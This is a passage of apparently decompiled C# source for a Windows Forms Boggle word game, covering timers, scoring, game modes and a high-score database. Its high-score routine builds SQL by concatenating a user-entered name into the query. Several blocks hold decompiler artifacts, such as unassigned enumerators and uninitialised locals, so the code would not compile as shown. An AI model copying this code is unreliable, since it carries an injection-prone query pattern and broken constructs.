if (Strings.InStr(Strings.UCase(this.txtMain.Text), "RE-SCRAMBLING") != 0)
{
this.ScramSec = 5.0;
this.txtMain.Text = "5 seconds to re-scramble letters";
}
else if (Strings.InStr(Strings.UCase(this.txtMain.Text), "RE-SCRAMBLE") != 0)
{
if (this.ScramSec % 1.0 == 0.0)
this.txtMain.Text = StringType.FromDouble(this.ScramSec) + " seconds to re-scramble letters";
this.ScramSec -= 0.5;
if (this.ScramSec != 0.0)
return;
this.btnScramble.BogButtonEnabled = false;
this.btnContinue.BogButtonEnabled = false;
this.txtMain.Text = "";
this.ScramSec = 5.0;
string str = this.StartLevel(false);
this.Min = IntegerType.FromString(Strings.Mid(str, 1, 1));
this.Sec = DoubleType.FromString(Strings.Mid(str, 2));
this.\u0024STATIC\u0024tmrContMain_Tick\u002420211C1211\u0024TimerGoing = true;
}
else if (this.\u0024STATIC\u0024tmrContMain_Tick\u002420211C1211\u0024TimerGoing)
{
this.Sec -= 0.5;
if (this.Sec < 0.0)
{
if (this.Min == 0)
{
this.\u0024STATIC\u0024tmrContMain_Tick\u002420211C1211\u0024TimerGoing = false;
this.btnScramble.BogButtonEnabled = false;
this.Sec = 60.0;
this.Min = 2;
this.EndLevel();
return;
}
checked { --this.Min; }
this.Sec = 59.0;
}
string str = StringType.FromDouble(this.Sec);
if (this.Sec < 10.0)
str = "0" + StringType.FromDouble(this.Sec);
if (this.Sec % 1.0 == 0.0)
this.tmrMain.TimerText = StringType.FromInteger(this.Min) + str;
}
}
}
private void tmrBtn1_Click(object sender, EventArgs e)
{
object o1 = LateBinding.LateGet(sender, (System.Type) null, "name", new object[0], (string[]) null, (bool[]) null);
if (ObjectType.ObjTst(o1, (object) "tmrBtn1", false) == 0)
{
this.tmrMain.LedBackColor = System.Drawing.Color.Black;
this.tmrMain.LedOffColor = System.Drawing.Color.FromArgb(0, 70, 0);
this.tmrMain.LedOnColor = System.Drawing.Color.LawnGreen;
}
else if (ObjectType.ObjTst(o1, (object) "tmrBtn2", false) == 0)
{
this.tmrMain.LedBackColor = System.Drawing.Color.Black;
this.tmrMain.LedOffColor = System.Drawing.Color.FromArgb(0, 0, 70);
this.tmrMain.LedOnColor = System.Drawing.Color.DeepSkyBlue;
}
else if (ObjectType.ObjTst(o1, (object) "tmrBtn3", false) == 0)
{
this.tmrMain.LedBackColor = System.Drawing.Color.Aquamarine;
this.tmrMain.LedOffColor = System.Drawing.Color.LightCyan;
this.tmrMain.LedOnColor = System.Drawing.Color.Teal;
}
else if (ObjectType.ObjTst(o1, (object) "tmrBtn4", false) == 0)
{
this.tmrMain.LedBackColor = System.Drawing.Color.Black;
this.tmrMain.LedOffColor = System.Drawing.Color.FromArgb(70, 0, 0);
this.tmrMain.LedOnColor = System.Drawing.Color.Red;
}
this.btnAddWord.Focus();
}
private void ShowDisplayText(
string Text,
bool FadeOut,
bool StartUp,
int MaxSize,
int PositionOffSet = 0)
{
try
{
foreach (Cube cube in (CollectionBase) modGlobal.Cubes)
{
modGlobal.myCube = cube;
modGlobal.myCube.CubeLabel.Visible = false;
}
}
finally
{
IEnumerator enumerator;
if (enumerator is IDisposable)
((IDisposable) enumerator).Dispose();
}
if (StringType.StrCmp(modGlobal.Cubes.DisplayText, "", false) != 0)
this.ShowTextThread.Suspend();
this.ShowTextThread = new Thread(new ThreadStart(this.ShowText));
modGlobal.Cubes.DisplayTextFadeOut = FadeOut;
modGlobal.Cubes.DisplayTextStartUp = StartUp;
modGlobal.Cubes.DisplayTextMaxSize = MaxSize;
modGlobal.Cubes.DisplayPosition = PositionOffSet;
modGlobal.Cubes.DisplayText = Text;
modGlobal.Cubes.CubesState = CubesCollection.StateOfCubes.Clear;
this.picCubesUp.Refresh();
this.ShowTextThread.Start();
}
private void mnuNewGame_Click(object sender, EventArgs e)
{
if (this.ShowTextThread.ThreadState == System.Threading.ThreadState.Running)
this.ShowTextThread.Suspend();
this.LoadTextShown = true;
this.mnuEndGame.Enabled = true;
this.mnuNewGame.Enabled = false;
this.mnuOptions.Enabled = false;
this.picCubeDown.Visible = false;
try
{
foreach (Cube cube in (CollectionBase) modGlobal.Cubes)
{
modGlobal.myCube = cube;
modGlobal.myCube.CubeHighLight = System.Drawing.Color.LightGray;
modGlobal.myCube.CubeTextColor = System.Drawing.Color.DarkBlue;
modGlobal.myCube.CubeDownPic = (PictureBox) null;
}
}
finally
{
IEnumerator enumerator;
if (enumerator is IDisposable)
((IDisposable) enumerator).Dispose();
}
this.txtMain.Text = "";
this.tmrContMain.Enabled = false;
this.lstCompFoundWords.Items.Clear();
this.lstHumanWordsFound.Items.Clear();
this.ShowDisplayText(" Get\r\nReady!", true, true, 180);
this.StartLevel(true);
while (this.ShowTextThread.ThreadState != System.Threading.ThreadState.Suspended)
Application.DoEvents();
this.txtWordFound.Focus();
this.tmrContMain.Enabled = true;
}
private string StartLevel(bool JustObj)
{
string str1;
bool flag;
switch (modGlobal.GameMode)
{
case modGlobal.Mode.Vs:
str1 = "Try to find more words than me before time runs out.\r\nGood luck, your gonna need it!";
flag = true;
break;
case modGlobal.Mode.BoardGame:
str1 = "Players: find as many words as you can before time runs out. Good luck!";
flag = false;
break;
}
this.lblHumanWordsCount.Text = "0";
this.lblCompWordsCount.Text = "0";
this.txtMain.Text = str1;
this.tmrMain.TimerText = Strings.Replace(Strings.Mid(modGlobal.TimerInterval.ToString(), 3), "c", "");
string str2;
if (!JustObj)
{
checked { ++this.Round; }
this.lblRound.Text = StringType.FromInteger(this.Round);
this.txtMain.Text += "\r\nComputer: Finding Words...";
this.FindWordsThread = new Thread(new ThreadStart(this.FindAllWords));
this.FindWordsThread.Start();
this.btnAddWord.BogButtonEnabled = flag;
str2 = Strings.Replace(Strings.Mid(modGlobal.TimerInterval.ToString(), 3), "c", "");
}
return str2;
}
private void EndLevel()
{
int num1 = Information.UBound((Array) this.WordsChosen);
int index1 = 0;
while (index1 <= num1)
{
this.lstCompFoundWords.Items.Add((object) this.WordsChosen[index1]);
this.lblCompWordsCount.Text = StringType.FromInteger(this.lstCompFoundWords.Items.Count);
checked { ++index1; }
}
this.btnContinue.BogButtonEnabled = true;
this.txtWordFound.Text = "";
int num2;
switch (modGlobal.GameMode)
{
case modGlobal.Mode.Vs:
num2 = -1;
this.btnAddWord.BogButtonEnabled = false;
break;
case modGlobal.Mode.BoardGame:
this.txtMain.Text = "Time is up! Tally up your points!\r\n\r\nClick \"Continue\" To Re-Start!";
return;
}
if (this.lstHumanWordsFound.Items.Count < num2)
{
this.txtMain.Text = "Sorry, you did not find " + StringType.FromInteger(num2) + " words.\r\nGame over...\r\nTry again!!";
this.ShowDisplayText("GAME\r\nOVER", false, false, 180);
}
else
{
int num3 = checked (this.lstHumanWordsFound.Items.Count - 1);
int index2 = 0;
int num4;
string str1;
while (index2 <= num3)
{
bool flag = true;
int num5 = checked (this.lstCompFoundWords.Items.Count - 1);
int index3 = 0;
while (index3 <= num5)
{
if (ObjectType.ObjTst(this.lstHumanWordsFound.Items[index2], this.lstCompFoundWords.Items[index3], false) == 0)
flag = false;
checked { ++index3; }
}
if (flag)
{
checked { ++num4; }
str1 = StringType.StrCmp(str1, "", false) != 0 ? StringType.FromObject(ObjectType.StrCatObj((object) str1, ObjectType.StrCatObj((object) ",", this.lstHumanWordsFound.Items[index2]))) : StringType.FromObject(ObjectType.StrCatObj((object) str1, this.lstHumanWordsFound.Items[index2]));
}
checked { ++index2; }
}
string str2 = Strings.Replace(str1, "\r\n", "");
if (this.mnuEnableWordValidation.Checked & StringType.StrCmp(str2, (string) null, false) != 0)
{
this.txtMain.Text = "Validating Your Words...";
Application.DoEvents();
string str3 = modFindWords.ValidateWords(str2);
if (StringType.StrCmp(str3, (string) null, false) != 0)
{
int num6 = (int) MessageBox.Show("You have entered words that are impossible to make from the current letter configuration.\r\nThese words will be removed from the score calculation and excluded from your unique word list.\r\n\r\nInvalid words: " + Strings.Mid(str3, 1, checked (Strings.Len(str3) - 1)), "Impossible Words Found", MessageBoxButtons.OK);
while (StringType.StrCmp(str3, "", false) != 0)
{
checked { --num4; }
string Find = Strings.Mid(str3, 1, checked (Strings.InStr(str3, ",") - 1));
str3 = Strings.Mid(str3, checked (Strings.InStr(str3, ",") + 1));
str2 = Strings.Replace(Strings.Replace(str2, Find + ",", ""), Find, "");
}
}
}
int num7 = this.ScoreWords(str2);
int num8 = num7;
checked { this.HumanScore += num7; }
this.lblHumanScore.Text = StringType.FromDouble(Conversion.Val(this.lblHumanScore.Text) + (double) num7);
this.txtMain.Text = "Your unique words: " + str2;
RichTextBox txtMain1 = this.txtMain;
txtMain1.Text = txtMain1.Text + "\r\nYou found " + StringType.FromInteger(this.lstHumanWordsFound.Items.Count) + " total words.";
RichTextBox txtMain2 = this.txtMain;
txtMain2.Text = txtMain2.Text + "\r\nYou found " + StringType.FromInteger(num4) + " unique words.";
string str4 = "";
int num9 = 0;
int num10 = checked (this.lstCompFoundWords.Items.Count - 1);
int index4 = 0;
while (index4 <= num10)
{
bool flag = true;
int num11 = checked (this.lstHumanWordsFound.Items.Count - 1);
int index5 = 0;
while (index5 <= num11)
{
if (ObjectType.ObjTst(this.lstCompFoundWords.Items[index4], this.lstHumanWordsFound.Items[index5], false) == 0)
flag = false;
checked { ++index5; }
}
if (flag)
{
checked { ++num9; }
str4 = StringType.StrCmp(str4, "", false) != 0 ? StringType.FromObject(ObjectType.StrCatObj((object) str4, ObjectType.StrCatObj((object) ",", this.lstCompFoundWords.Items[index4]))) : StringType.FromObject(ObjectType.StrCatObj((object) str4, this.lstCompFoundWords.Items[index4]));
}
checked { ++index4; }
}
string Words = Strings.Replace(str4, "\r\n", "");
RichTextBox txtMain3 = this.txtMain;
txtMain3.Text = txtMain3.Text + "\r\nMy unique words: " + Words;
RichTextBox txtMain4 = this.txtMain;
txtMain4.Text = txtMain4.Text + "\r\nI found " + StringType.FromInteger(this.lstCompFoundWords.Items.Count) + " total words.";
RichTextBox txtMain5 = this.txtMain;
txtMain5.Text = txtMain5.Text + "\r\nI found " + StringType.FromInteger(num9) + " unique words.";
int num12 = this.ScoreWords(Words);
int num13 = num12;
checked { this.ComputerScore += num12; }
this.lblCompScore.Text = StringType.FromDouble(Conversion.Val(this.lblCompScore.Text) + (double) num12);
if (num13 > num8)
{
this.lblComputerRounds.Text = StringType.FromDouble(Conversion.Val(this.lblComputerRounds.Text) + 1.0);
checked { ++this.ComputerRounds; }
}
else
{
this.lblHumanRounds.Text = StringType.FromDouble(Conversion.Val(this.lblHumanRounds.Text) + 1.0);
checked { ++this.HumanRounds; }
}
}
}
public int ScoreWords(string Words)
{
if (Strings.Len(Words) == 0)
return 0;
Words += ",";
int num;
while (StringType.StrCmp(Words, "", false) != 0)
{
string Expression = Strings.Mid(Words, 1, checked (Strings.InStr(Words, ",") - 1));
Words = Strings.Mid(Words, checked (Strings.InStr(Words, ",") + 1));
switch (Strings.Len(Expression))
{
case 3:
checked { ++num; }
break;
case 4:
checked { num += 2; }
break;
case 5:
checked { num += 3; }
break;
default:
checked { num += 4; }
break;
}
}
return num;
}
private void tmrBtn1_Click_1(object sender, EventArgs e)
{
string timerText = this.tmrMain.TimerText;
object o1 = LateBinding.LateGet(sender, (System.Type) null, "name", new object[0], (string[]) null, (bool[]) null);
if (ObjectType.ObjTst(o1, (object) "tmrBtn1", false) == 0)
{
this.tmrMain.LedBackColor = System.Drawing.Color.Black;
this.tmrMain.LedOffColor = System.Drawing.Color.FromArgb(0, 70, 0);
this.tmrMain.LedOnColor = System.Drawing.Color.LawnGreen;
}
else if (ObjectType.ObjTst(o1, (object) "tmrBtn2", false) == 0)
{
this.tmrMain.LedBackColor = System.Drawing.Color.Black;
this.tmrMain.LedOffColor = System.Drawing.Color.FromArgb(0, 0, 70);
this.tmrMain.LedOnColor = System.Drawing.Color.DeepSkyBlue;
}
else if (ObjectType.ObjTst(o1, (object) "tmrBtn3", false) == 0)
{
this.tmrMain.LedBackColor = System.Drawing.Color.Aquamarine;
this.tmrMain.LedOffColor = System.Drawing.Color.LightCyan;
this.tmrMain.LedOnColor = System.Drawing.Color.Teal;
}
else if (ObjectType.ObjTst(o1, (object) "tmrBtn4", false) == 0)
{
this.tmrMain.LedBackColor = System.Drawing.Color.Black;
this.tmrMain.LedOffColor = System.Drawing.Color.FromArgb(70, 0, 0);
this.tmrMain.LedOnColor = System.Drawing.Color.Red;
}
this.tmrMain.TimerText = timerText;
this.btnAddWord.Focus();
}
private void lstCompFoundWords_MouseUp(object sender, MouseEventArgs e)
{
if (StringType.StrCmp(modGlobal.Cubes.WordToShow, "", false) != 0)
this.ShowWordThread.Abort();
modGlobal.Cubes.WordToShow = this.lstCompFoundWords.GetItemText(RuntimeHelpers.GetObjectValue(this.lstCompFoundWords.SelectedItem));
this.ShowWordThread = new Thread(new ThreadStart(this.ShowWord));
this.ShowWordThread.Start();
if (!this.mnuEnableDefSearch.Checked)
return;
while (this.ShowWordThread.ThreadState == System.Threading.ThreadState.Running)
Application.DoEvents();
this.txtMain.Text = "Querying Defenition...";
Application.DoEvents();
this.txtMain.Text = modFindWords.GetDef(this.lstCompFoundWords.GetItemText(RuntimeHelpers.GetObjectValue(this.lstCompFoundWords.SelectedItem)));
this.txtMain.SelectionStart = 0;
}
private void ChangeMode(object sender, EventArgs e)
{
this.txtMain.Text = "";
object o1 = LateBinding.LateGet(sender, (System.Type) null, "text", new object[0], (string[]) null, (bool[]) null);
if (ObjectType.ObjTst(o1, (object) "Board Game Mode", false) == 0)
{
modGlobal.GameMode = modGlobal.Mode.BoardGame;
this.txtMain.Text = "---Board Game Mode---";
}
else if (ObjectType.ObjTst(o1, (object) "Vs. Computer Mode", false) == 0)
{
modGlobal.GameMode = modGlobal.Mode.Vs;
this.txtMain.Text = "---Vs. Computer Mode---";
}
else if (ObjectType.ObjTst(o1, (object) "Teaching Mode", false) == 0)
{
int num = (int) MessageBox.Show("Teaching mode is not available on the PSC version of Boggle .Net. Sorry!", "Teaching Mode", MessageBoxButtons.OK);
modGlobal.GameMode = modGlobal.Mode.Vs;
this.txtMain.Text = "---Vs. Computer Mode---";
}
this.txtMain.Text += "\r\n\r\nClick \"Game\" - \"New Game\" To Start!";
this.mnuNewGame.Enabled = true;
this.mnuEndGame.Enabled = false;
this.mnuBoardGameMode.Checked = false;
this.mnuVsMode.Checked = false;
this.mnuTeachingMode.Checked = false;
LateBinding.LateSet(sender, (System.Type) null, "checked", new object[1]
{
(object) true
}, (string[]) null);
}
private void ChangeLevel(object sender, EventArgs e)
{
object o1 = LateBinding.LateGet(sender, (System.Type) null, "text", new object[0], (string[]) null, (bool[]) null);
if (ObjectType.ObjTst(o1, (object) "Level Easy", false) == 0)
modGlobal.GameLevel = modGlobal.Level.Easy;
else if (ObjectType.ObjTst(o1, (object) "Level Medium", false) == 0)
modGlobal.GameLevel = modGlobal.Level.Medium;
else if (ObjectType.ObjTst(o1, (object) "Level Hard", false) == 0)
modGlobal.GameLevel = modGlobal.Level.Hard;
else if (ObjectType.ObjTst(o1, (object) "Level Impossible to win", false) == 0)
modGlobal.GameLevel = modGlobal.Level.Impossible;
this.mnuLevelEasy.Checked = false;
this.mnuLevelMedium.Checked = false;
this.mnuLevelHard.Checked = false;
this.mnuLevelImpossible.Checked = false;
this.Round = 0;
this.lblRound.Text = StringType.FromInteger(0);
LateBinding.LateSet(sender, (System.Type) null, "checked", new object[1]
{
(object) true
}, (string[]) null);
}
private void CheckHighScores()
{
OleDbCommand oleDbCommand = new OleDbCommand("Select Count(*) as C From HighScores", modGlobal.conBoggle);
modGlobal.conBoggle.Open();
int num1 = IntegerType.FromObject(oleDbCommand.ExecuteScalar());
modGlobal.conBoggle.Close();
if (num1 != 0)
{
oleDbCommand.CommandText = "Select Min(Rounds) as R From HighScores";
modGlobal.conBoggle.Open();
num1 = IntegerType.FromObject(oleDbCommand.ExecuteScalar());
modGlobal.conBoggle.Close();
}
if (this.HumanRounds <= num1)
return;
string str1;
switch (modGlobal.GameLevel)
{
case modGlobal.Level.Easy:
str1 = "Easy";
break;
case modGlobal.Level.Medium:
str1 = "Medium";
break;
case modGlobal.Level.Hard:
str1 = "Hard";
break;
case modGlobal.Level.Impossible:
str1 = "Impossible";
break;
}
string str2 = Interaction.InputBox("Congradulations!\r\nYou have made the Boggle .Net high score list!\r\nEnter your name (5 Char Max).", "New High Score");
if (StringType.StrCmp(str2, "", false) == 0 | Strings.Len(str2) > 5)
str2 = "Lazy";
oleDbCommand.CommandText = "Select Count(*) as C From HighScores";
modGlobal.conBoggle.Open();
int num2 = IntegerType.FromObject(oleDbCommand.ExecuteScalar());
modGlobal.conBoggle.Close();
if (num2 >= 10)
{
oleDbCommand.CommandText = "Delete From HighScores Where Rounds = " + StringType.FromInteger(num1);
modGlobal.conBoggle.Open();
oleDbCommand.ExecuteNonQuery();
modGlobal.conBoggle.Close();
}
oleDbCommand.CommandText = "Insert Into HighScores (Name,[Level],Rounds,Score) Values ('" + Strings.UCase(str2) + "','" + str1 + "'," + StringType.FromInteger(this.HumanRounds) + "," + StringType.FromInteger(this.HumanScore) + ")";
modGlobal.conBoggle.Open();
oleDbCommand.ExecuteNonQuery();
modGlobal.conBoggle.Close();
}
private void mnuEndGame_Click(object sender, EventArgs e)
{
if (this.ShowTextThread.ThreadState == System.Threading.ThreadState.Running)
this.ShowTextThread.Suspend();
if (this.ShowWordThread.ThreadState == System.Threading.ThreadState.Running)
this.ShowWordThread.Suspend();
this.tmrContMain.Enabled = false;
this.tmrMain.TimerText = "000";
this.ScramSec = 5.0;
this.btnAddWord.BogButtonEnabled = false;
this.btnScramble.BogButtonEnabled = false;
this.btnFinish.BogButtonEnabled = false;
if (ObjectType.ObjTst(LateBinding.LateGet(sender, (System.Type) null, "text", new object[0], (string[]) null, (bool[]) null), (object) "Continue", false) != 0)
{
this.Round = 0;
this.lblRound.Text = StringType.FromInteger(0);
this.lblCompScore.Text = StringType.FromInteger(0);
this.lblHumanScore.Text = StringType.FromInteger(0);
this.lblHumanRounds.Text = StringType.FromInteger(0);
this.lblComputerRounds.Text = StringType.FromInteger(0);
this.mnuOptions.Enabled = true;
this.CheckHighScores();
}
modGlobal.Cubes.KillCubeThreads();
modGlobal.Cubes.CubesState = CubesCollection.StateOfCubes.Clear;
this.picCubesUp.Refresh();
this.ShowDisplayText(" Game\r\nEnded!!", false, false, 180);
switch (modGlobal.GameMode)
{
case modGlobal.Mode.Vs:
this.ChangeMode((object) this.mnuVsMode, new EventArgs());
break;
case modGlobal.Mode.BoardGame:
this.ChangeMode((object) this.mnuBoardGameMode, new EventArgs());
break;
case modGlobal.Mode.Teaching:
this.ChangeMode((object) this.mnuTeachingMode, new EventArgs());
break;
}
}
private void mnuEnableDefSearch_Click(object sender, EventArgs e)
{
this.mnuEnableDefSearch.Checked = !this.mnuEnableDefSearch.Checked;
if (!this.mnuEnableDefSearch.Checked)
return;
int num = (int) MessageBox.Show("Defenition search is enabled. You must be connected to the internet in order for this feature to function properly.", "Defenition Search Enabled", MessageBoxButtons.OK);
}
private void ChangeTimerInterval(object sender, EventArgs e)
{
object o1 = LateBinding.LateGet(sender, (System.Type) null, "text", new object[0], (string[]) null, (bool[]) null);
if (ObjectType.ObjTst(o1, (object) ":30", false) == 0)
modGlobal.TimerInterval = modGlobal.Interval.Sec030;
else if (ObjectType.ObjTst(o1, (object) "1:00", false) == 0)
modGlobal.TimerInterval = modGlobal.Interval.Sec100;
else if (ObjectType.ObjTst(o1, (object) "1:30", false) == 0)
modGlobal.TimerInterval = modGlobal.Interval.Sec130;
else if (ObjectType.ObjTst(o1, (object) "2:00", false) == 0)
modGlobal.TimerInterval = modGlobal.Interval.Sec200;
else if (ObjectType.ObjTst(o1, (object) "2:30", false) == 0)
modGlobal.TimerInterval = modGlobal.Interval.Sec230;
else if (ObjectType.ObjTst(o1, (object) "3:00", false) == 0)
modGlobal.TimerInterval = modGlobal.Interval.Sec300;
else if (ObjectType.ObjTst(o1, (object) "3:30", false) == 0)
modGlobal.TimerInterval = modGlobal.Interval.Sec330;
else if (ObjectType.ObjTst(o1, (object) "4:00", false) == 0)
modGlobal.TimerInterval = modGlobal.Interval.Sec400;
else if (ObjectType.ObjTst(o1, (object) "4:30", false) == 0)
modGlobal.TimerInterval = modGlobal.Interval.Sec430;
else if (ObjectType.ObjTst(o1, (object) "5:00", false) == 0)
modGlobal.TimerInterval = modGlobal.Interval.Sec500;
this.mnuTmr30.Checked = false;
this.mnuTmr100.Checked = false;
this.mnuTmr130.Checked = false;
this.mnuTmr200.Checked = false;
this.mnuTmr230.Checked = false;
this.mnuTmr300.Checked = false;
this.mnuTmr330.Checked = false;
this.mnuTmr400.Checked = false;
this.mnuTmr430.Checked = false;
this.mnuTmr500.Checked = false;
LateBinding.LateSet(sender, (System.Type) null, "checked", new object[1]
{
(object) true
}, (string[]) null);
}
private void mnuEnableTimerFlash_Click(object sender, EventArgs e)
{
this.mnuEnableTimerFlash.Checked = !this.mnuEnableTimerFlash.Checked;
if (this.mnuEnableTimerFlash.Checked)
this.tmrMain.EnableFlash = true;
else
this.tmrMain.EnableFlash = false;
}
private void mnuExitGame_Click(object sender, EventArgs e)
{
this.mnuEndGame_Click((object) this.mnuEndGame, new EventArgs());
this.Dispose();
ProjectData.EndApp();
}
private void btnContinue_Click_1(object sender, EventArgs e)
{
this.mnuEndGame_Click((object) this.btnContinue, new EventArgs());
this.mnuNewGame_Click((object) this.mnuEndGame, new EventArgs());
}
private void btnScramble_Click_1(object sender, EventArgs e)
{
this.txtMain.Text = "Re-Scrambling...";
this.txtMain.Refresh();
this.lstCompFoundWords.DataSource = (object) null;
this.lstCompFoundWords.Items.Clear();
this.lstHumanWordsFound.Items.Clear();
this.FoundWords.Clear();
try
{
foreach (Cube cube in (CollectionBase) modGlobal.Cubes)
{
modGlobal.myCube = cube;
modGlobal.myCube.CubeLabel.Visible = false;
modGlobal.myCube.CubeHighLight = System.Drawing.Color.LightGray;
modGlobal.myCube.CubeTextColor = System.Drawing.Color.DarkBlue;
modGlobal.myCube.SetRndCubeLetter();
}
}
finally
{
IEnumerator enumerator;
if (enumerator is IDisposable)
((IDisposable) enumerator).Dispose();
}
modGlobal.Cubes.CubesState = CubesCollection.StateOfCubes.Spinning;
this.tmrContMain.Enabled = false;
modGlobal.Cubes.ScrambleCubes();
while (modGlobal.Cubes.CubesAreScrambling)
Application.DoEvents();
this.tmrContMain.Enabled = true;
modGlobal.Cubes.CubesState = CubesCollection.StateOfCubes.Normal;
this.picCubesUp.Refresh();
try
{
foreach (Cube cube in (CollectionBase) modGlobal.Cubes)
{
modGlobal.myCube = cube;
modGlobal.myCube.CubeLabel.Visible = true;
}
}
finally
{
IEnumerator enumerator;
if (enumerator is IDisposable)
((IDisposable) enumerator).Dispose();
}
}
private void mnuEnableWordValidation_Click(object sender, EventArgs e) => this.mnuEnableWordValidation.Checked = !this.mnuEnableWordValidation.Checked;
private void lstHumanWordsFound_MouseUp(object sender, MouseEventArgs e)
{
if (!this.mnuEnableDefSearch.Checked)
return;
while (this.ShowWordThread.ThreadState == System.Threading.ThreadState.Running)
Application.DoEvents();
this.txtMain.Text = "Querying Defenition...";
Application.DoEvents();
this.txtMain.Text = modFindWords.GetDef(this.lstHumanWordsFound.GetItemText(RuntimeHelpers.GetObjectValue(this.lstHumanWordsFound.SelectedItem)));
this.txtMain.SelectionStart = 0;
}
private void btnFinish_Click(object sender, EventArgs e)
{
this.Sec = 0.0;
this.Min = 0;
this.tmrMain.TimerText = "000";
}
private void mnuTips_Click(object sender, EventArgs e)
{
frmWelcome frmWelcome = new frmWelcome();
frmWelcome.chkMain.Visible = false;
frmWelcome.Show();
}
private void mnuAbout_Click(object sender, EventArgs e) => new frmAbout().Show();
private void mnuHighScores_Click(object sender, EventArgs e) => new frmHighScores().Show();
}
}